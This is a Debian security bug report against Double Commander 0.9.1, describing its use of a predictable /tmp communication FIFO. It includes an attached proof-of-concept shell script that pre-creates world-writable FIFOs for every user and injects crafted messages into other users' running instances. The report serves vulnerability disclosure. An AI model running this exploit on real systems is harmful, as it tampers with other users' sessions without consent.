Package: doublecmd-gtk
Version: 0.9.1-1
Tags: security
Double Commander uses /tmp/doublecmd--<uid> for communication, even when
this file is owned by another user.
Local attacker could exploit this to load paths into other users'
panels. Proof-of-concept exploit is attached.
Please move the communication pipe out of /tmp.
-- System Information:
Architecture: i386
--
Jakub Wilk
#!/bin/sh
set -e -u
cd /tmp
getent passwd | while IFS=: read -r user _ uid _
do
fifo="doublecmd--$uid"
rm -f "$fifo" || true # maybe stale fifo from the previous exploit run?
if ! mkfifo -m 666 "$fifo"
then
printf 'Failed to mount the exploit against %s; Maybe try again
later?\n' "$user"
continue
fi
done
while true
do
for uid in $(ps --no-headers -C doublecmd -o uid)
do
sleep 1
fifo="doublecmd--$uid"
path=$(find /bin /sbin /usr/bin /usr/sbin /usr/games | shuf -n 1)
len=${#path}
pad=$((1024-len))
{
printf '\1\5\20\0\0\5\20\0\0\0\1%02050d' | tr '0' '\0'
printf '%s' "$path"
printf "%0${pad}d\1%01024d" | tr '0' '\0'
} > "$fifo"
done
sleep 1
done
